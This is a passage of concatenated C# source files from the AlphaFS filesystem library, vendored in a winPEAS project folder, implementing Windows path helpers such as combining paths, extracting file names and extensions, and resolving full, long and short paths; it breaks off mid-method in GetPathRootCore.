Methods/Path.CombineCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Combines an array of strings into a path. /// The combined paths. /// /// The parameters are not parsed if they have white space. /// Therefore, if path2 includes white space (for example, " c:\\ "), /// the Combine method appends path2 to path1 instead of returning only path2. /// /// /// /// true will not check for invalid path characters. /// An array of parts of the path. [SecurityCritical] internal static string CombineCore(bool checkInvalidPathChars, params string[] paths) { if (null == paths) throw new ArgumentNullException("paths"); var capacity = 0; var num = 0; for (int index = 0, l = paths.Length; index < l; ++index) { if (null == paths[index]) throw new ArgumentNullException("paths"); if (paths[index].Length != 0) { if (IsPathRooted(paths[index], checkInvalidPathChars)) { num = index; capacity = paths[index].Length; } else capacity += paths[index].Length; var ch = paths[index][paths[index].Length - 1]; if (!IsDVsc(ch, null)) ++capacity; } } var buffer = new StringBuilder(capacity); for (var index = num; index < paths.Length; ++index) { if (paths[index].Length != 0) { if (buffer.Length == 0) buffer.Append(paths[index]); else { var ch = buffer[buffer.Length - 1]; if (!IsDVsc(ch, null)) buffer.Append(DirectorySeparatorChar); buffer.Append(paths[index]); } } } return buffer.ToString(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetDirectoryNameCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the directory information for the specified path string. /// /// Directory information for , or null if denotes a root directory or is /// null. Returns if does not contain directory information. /// /// /// The path of a file or directory. /// true will check for invalid path characters. [SecurityCritical] internal static string GetDirectoryNameCore(string path, bool checkInvalidPathChars) { if (null != path) { var rootLength = GetRootLength(path, checkInvalidPathChars); if (path.Length > rootLength) { var length = path.Length; if (length == rootLength) return null; while (length > rootLength && path[--length] != DirectorySeparatorChar && path[length] != AltDirectorySeparatorChar) { } return path.Substring(0, length).Replace(AltDirectorySeparatorChar, DirectorySeparatorChar); } } return null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetDirectoryNameWithoutRootCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the directory information for the specified path string without the root information, for example: "C:\Windows\system32" returns: "Windows". /// The without the file name part and without the root information (if any), or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// The transaction. /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static string GetDirectoryNameWithoutRootCore(KernelTransaction transaction, string path, PathFormat pathFormat) { if (null == path) return null; var parentFolder = Directory.GetParentCore(transaction, path, pathFormat); return null != parentFolder && null != parentFolder.Parent ? parentFolder.Name : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetExtensionCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the extension of the specified path string. /// /// The extension of the specified path (including the period "."), or null, or . /// If is null, this method returns null. /// If does not have extension information, /// this method returns . /// /// /// The path string from which to get the extension. The path cannot contain any of the characters defined in . /// true will check for invalid path characters. [SecurityCritical] internal static string GetExtensionCore(string path, bool checkInvalidPathChars) { if (null == path) return null; if (checkInvalidPathChars) CheckInvalidPathChars(path, false, true); var length = path.Length; var index = length; while (--index >= 0) { var ch = path[index]; if (ch == ExtensionSeparatorChar) return index != length - 1 ? path.Substring(index, length - index) : string.Empty; if (IsDVsc(ch, null)) break; } return string.Empty; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFileNameCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the file name and extension of the specified path string. /// /// The characters after the last directory character in . If the last character of is a /// directory or volume separator character, this method returns string.Empty. If path is null, this method returns null. /// /// /// The path string from which to obtain the file name and extension. /// true will check for invalid path characters. [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] internal static string GetFileNameCore(string path, bool checkInvalidPathChars) { if (null == path) return null; if (checkInvalidPathChars) CheckInvalidPathChars(path, false, true); var length = path.Length; var index = length; while (--index >= 0) { var ch = path[index]; if (IsDVsc(ch, null)) return path.Substring(index + 1, length - index - 1); } return path; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFileNameWithoutExtensionCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the file name of the specified path string without the extension. /// The string returned by GetFileName, minus the last period (.) and all characters following it. /// /// The path of the file. The path cannot contain any of the characters defined in . /// true will check for invalid path characters. [SecurityCritical] internal static string GetFileNameWithoutExtensionCore(string path, bool checkInvalidPathChars) { int pathIndex; path = GetFileName(path, checkInvalidPathChars); return null != path ? ((pathIndex = path.LastIndexOf(ExtensionSeparatorChar)) == -1 ? path : path.Substring(0, pathIndex)) : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFinalPathNameByHandleCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Linq; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Retrieves the final path for the specified file, formatted as . /// The final path as a string. /// /// A final path is the path that is returned when a path is fully resolved. For example, for a symbolic link named "C:\tmp\mydir" that /// points to "D:\yourdir", the final path would be "D:\yourdir". The string that is returned by this function uses the /// syntax. /// /// Then handle to a instance. /// The final path, formatted as [SecurityCritical] internal static string GetFinalPathNameByHandleCore(SafeFileHandle handle, FinalPathFormats finalPath) { NativeMethods.IsValidHandle(handle); var buffer = new StringBuilder(NativeMethods.MaxPathUnicode); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { if (NativeMethods.IsAtLeastWindowsVista) { // MSDN: GetFinalPathNameByHandle(): If the function fails for any other reason, the return value is zero. var success = NativeMethods.GetFinalPathNameByHandle(handle, buffer, (uint) buffer.Capacity, finalPath) == Win32Errors.ERROR_SUCCESS; var lastError = Marshal.GetLastWin32Error(); if (!success && lastError != Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError); return buffer.ToString(); } } // Older OperatingSystem // Obtaining a File Name From a File Handle // http://msdn.microsoft.com/en-us/library/aa366789%28VS.85%29.aspx // Be careful when using GetFileSizeEx to check the size of hFile handle of an unknown "File" type object. // This is more towards returning a filename from a file handle. If the handle is a named pipe handle it seems to hang the thread. // Check for: FileTypes.DiskFile // Can't map a 0 byte file. long fileSizeHi; if (!NativeMethods.GetFileSizeEx(handle, out fileSizeHi)) if (fileSizeHi == 0) return string.Empty; // PAGE_READONLY // Allows views to be mapped for read-only or copy-on-write access. An attempt to write to a specific region results in an access violation. // The file handle that the hFile parameter specifies must be created with the GENERIC_READ access right. // PageReadOnly = 0x02, using (var handle2 = NativeMethods.CreateFileMapping(handle, null, 2, 0, 1, null)) { NativeMethods.IsValidHandle(handle, Marshal.GetLastWin32Error()); // FILE_MAP_READ // Read = 4 using (var pMem = NativeMethods.MapViewOfFile(handle2, 4, 0, 0, (UIntPtr)1)) { if (NativeMethods.IsValidHandle(pMem, Marshal.GetLastWin32Error())) if (NativeMethods.GetMappedFileName(Process.GetCurrentProcess().Handle, pMem, buffer, (uint) buffer.Capacity)) NativeMethods.UnmapViewOfFile(pMem); } } // Default output from GetMappedFileName(): "\Device\HarddiskVolumeX\path\filename.ext" var dosDevice = buffer.Length > 0 ? buffer.ToString() : string.Empty; // Select output format. switch (finalPath) { // As-is: "\Device\HarddiskVolumeX\path\filename.ext" case FinalPathFormats.VolumeNameNT: return dosDevice; // To: "\path\filename.ext" case FinalPathFormats.VolumeNameNone: return DosDeviceToDosPath(dosDevice, string.Empty); // To: "\\?\Volume{GUID}\path\filename.ext" case FinalPathFormats.VolumeNameGuid: var dosPath = DosDeviceToDosPath(dosDevice, null); if (!Utils.IsNullOrWhiteSpace(dosPath)) { var driveLetter = RemoveTrailingDirectorySeparator(GetPathRoot(dosPath, false)); var file = GetFileName(dosPath, true); if (!Utils.IsNullOrWhiteSpace(file)) { foreach (var drive in Directory.EnumerateLogicalDrivesCore(false, false) .Select(drv => drv.Name).Where(drv => driveLetter.Equals(RemoveTrailingDirectorySeparator(drv), StringComparison.OrdinalIgnoreCase))) return CombineCore(false, Volume.GetUniqueVolumeNameForPath(drive), GetSuffixedDirectoryNameWithoutRootCore(null, dosPath, PathFormat.FullPath), file); } } break; } // To: "\\?\C:\path\filename.ext" return !Utils.IsNullOrWhiteSpace(dosDevice) ? LongPathPrefix + DosDeviceToDosPath(dosDevice, null) : string.Empty; } /// Tranlates DosDevicePath, Volume GUID. For example: "\Device\HarddiskVolumeX\path\filename.ext" can translate to: "\path\filename.ext" or: "\\?\Volume{GUID}\path\filename.ext". /// A translated dos path. /// A DosDevicePath, for example: \Device\HarddiskVolumeX\path\filename.ext. /// Alternate path/device text, usually string.Empty or null. [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] private static string DosDeviceToDosPath(string dosDevice, string deviceReplacement) { if (Utils.IsNullOrWhiteSpace(dosDevice)) return string.Empty; foreach (var drive in Directory.EnumerateLogicalDrivesCore(false, false).Select(drv => drv.Name)) { try { var path = RemoveTrailingDirectorySeparator(drive); foreach (var devNt in Volume.QueryAllDosDevices().Where(device => device.StartsWith(path, StringComparison.OrdinalIgnoreCase)).ToArray()) return dosDevice.ReplaceIgnoreCase(devNt, deviceReplacement ?? path); } catch { } } return string.Empty; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetFullPathCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Retrieves the absolute path for the specified string. /// The fully qualified location of , such as "C:\MyFile.txt". /// /// GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file. /// It also calculates the address of the file name portion of the full path and file name. ///   /// This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume. /// The .NET Framework does not support direct access to physical disks through paths that are device names, such as \\.\PhysicalDrive0. ///   /// MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and /// should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// /// The transaction. /// /// The file or directory for which to obtain absolute path information. /// Options for controlling the full path retrieval. [SecurityCritical] internal static string GetFullPathCore(KernelTransaction transaction, bool checkSupported, string path, GetFullPathOptions options) { // Skip the special paths recognised by Windows kernel only. if (null != path) { if (path.StartsWith(GlobalRootPrefix, StringComparison.OrdinalIgnoreCase) || path.StartsWith(VolumePrefix, StringComparison.OrdinalIgnoreCase) || path.StartsWith(NonInterpretedPathPrefix, StringComparison.Ordinal)) return path; if (checkSupported) { CheckInvalidUncPath(path); CheckSupportedPathFormat(path, true, true); } } if (options != GetFullPathOptions.None) { if (!checkSupported && (options & GetFullPathOptions.CheckInvalidPathChars) != 0) { var checkAdditional = (options & GetFullPathOptions.CheckAdditional) != 0; CheckInvalidPathChars(path, checkAdditional, false); // Prevent duplicate checks. options &= ~GetFullPathOptions.CheckInvalidPathChars; if (checkAdditional) options &= ~GetFullPathOptions.CheckAdditional; } // Do not remove trailing directory separator when path points to a drive like: "C:\" // Doing so makes path point to the current directory. // ".", "C:", "C:\" if (null == path || path.Length <= 3 || !path.StartsWith(LongPathPrefix, StringComparison.Ordinal) && path[1] != VolumeSeparatorChar) options &= ~GetFullPathOptions.RemoveTrailingDirectorySeparator; } var pathLp = GetLongPathCore(path, options); uint bufferSize = NativeMethods.MaxPathUnicode; using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { startGetFullPathName: var buffer = new StringBuilder((int) bufferSize); var returnLength = null == transaction || !NativeMethods.IsAtLeastWindowsVista // GetFullPathName() / GetFullPathNameTransacted() // 2013-04-15: MSDN confirms LongPath usage. ? NativeMethods.GetFullPathName(pathLp, bufferSize, buffer, IntPtr.Zero) : NativeMethods.GetFullPathNameTransacted(pathLp, bufferSize, buffer, IntPtr.Zero, transaction.SafeHandle); if (returnLength != Win32Errors.NO_ERROR) { if (returnLength > bufferSize) { bufferSize = returnLength; goto startGetFullPathName; } } else { if ((options & GetFullPathOptions.ContinueOnNonExist) != 0) return null; NativeError.ThrowException(returnLength, pathLp); } var finalFullPath = (options & GetFullPathOptions.AsLongPath) != 0 ? GetLongPathCore(buffer.ToString(), GetFullPathOptions.None) : GetRegularPathCore(buffer.ToString(), GetFullPathOptions.None, false); finalFullPath = NormalizePath(finalFullPath, options); if ((options & GetFullPathOptions.KeepDotOrSpace) != 0) { if (pathLp.EndsWith(CurrentDirectoryPrefix, StringComparison.Ordinal)) finalFullPath += CurrentDirectoryPrefix; var lastChar = pathLp[pathLp.Length - 1]; if (char.IsWhiteSpace(lastChar)) finalFullPath += lastChar; } return finalFullPath; } } /// Applies the to . /// with applied . /// /// /// /// private static string ApplyFullPathOptions(string path, GetFullPathOptions options) { if ((options & GetFullPathOptions.TrimEnd) != 0) if ((options & GetFullPathOptions.KeepDotOrSpace) == 0) path = path.TrimEnd(); if ((options & GetFullPathOptions.AddTrailingDirectorySeparator) != 0) path = AddTrailingDirectorySeparator(path, false); if ((options & GetFullPathOptions.RemoveTrailingDirectorySeparator) != 0) path = RemoveTrailingDirectorySeparator(path); if ((options & GetFullPathOptions.CheckInvalidPathChars) != 0) CheckInvalidPathChars(path, (options & GetFullPathOptions.CheckAdditional) != 0, false); // Trim leading whitespace. if ((options & GetFullPathOptions.KeepDotOrSpace) == 0) path = path.TrimStart(); return path; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetLongPathCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Makes an extended long path from the specified by prefixing . /// The prefixed with a , the minimum required full path is: "C:\". /// This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume. /// /// /// The path to the file or directory, this can also be an UNC path. /// Options for controlling the full path retrieval. [SecurityCritical] internal static string GetLongPathCore(string path, GetFullPathOptions options) { if (null == path) throw new ArgumentNullException("path"); if (path.Trim().Length == 0) throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, "path"); if (options != GetFullPathOptions.None) path = ApplyFullPathOptions(path, options); // ".", "C:" if (path.Length <= 2 || path.StartsWith(LongPathPrefix, StringComparison.Ordinal) || path.StartsWith(LogicalDrivePrefix, StringComparison.Ordinal) || path.StartsWith(NonInterpretedPathPrefix, StringComparison.Ordinal)) return path; if (path.StartsWith(UncPrefix, StringComparison.Ordinal)) return LongPathUncPrefix + path.Substring(UncPrefix.Length); return IsPathRooted(path, false) && IsLogicalDriveCore(path, false, PathFormat.LongFullPath) ? LongPathPrefix + path : path; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetLongShort83PathCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Retrieves the short path form, or the regular long form of the specified . /// If is true, a path of the 8.3 form otherwise the regular long form. /// /// Will fail on NTFS volumes with disabled 8.3 name generation. /// The path must actually exist to be able to get the short- or long path name. /// /// /// /// The transaction. /// An existing path to a folder or file. /// true to retrieve the short path form, false to retrieve the regular long form from the 8.3 . [SecurityCritical] private static string GetLongShort83PathCore(KernelTransaction transaction, string path, bool getShort) { var pathLp = GetFullPathCore(transaction, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck); var buffer = new StringBuilder(); var actualLength = getShort ? NativeMethods.GetShortPathName(pathLp, null, 0) : (uint) path.Length; while (actualLength > buffer.Capacity) { buffer = new StringBuilder((int) actualLength); actualLength = getShort // GetShortPathName() / GetLongPathName() // 2014-01-29: MSDN confirms LongPath usage. ? NativeMethods.GetShortPathName(pathLp, buffer, (uint) buffer.Capacity) : transaction == null || !NativeMethods.IsAtLeastWindowsVista ? NativeMethods.GetLongPathName(pathLp, buffer, (uint) buffer.Capacity) : NativeMethods.GetLongPathNameTransacted(pathLp, buffer, (uint) buffer.Capacity, transaction.SafeHandle); var lastError = Marshal.GetLastWin32Error(); if (actualLength == 0) NativeError.ThrowException(lastError, pathLp); } return GetRegularPathCore(buffer.ToString(), GetFullPathOptions.None, false); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetPathRootCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Gets the root directory information of the specified path. /// /// Returns the root directory of , such as "C:\", /// or null if is null, /// or an empty string if does not contain root directory information. /// /// /// The path from which to obtain root directory information. /// true will check for invalid path characters. [SecurityCritical] internal static string GetPathRootCore(string path, bool checkInvalidPathChars) { if (null == path) return null; if (path.Trim().Length == 0) throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, "path"); var pathRp = GetRegularPathCore(path,checkInvalidPathChars ? GetFullPathOptions.CheckInvalidPathChars : GetFullPathOptions.None, false); var rootLengthPath = GetRootLength(path, false); var rootLengthPathRp 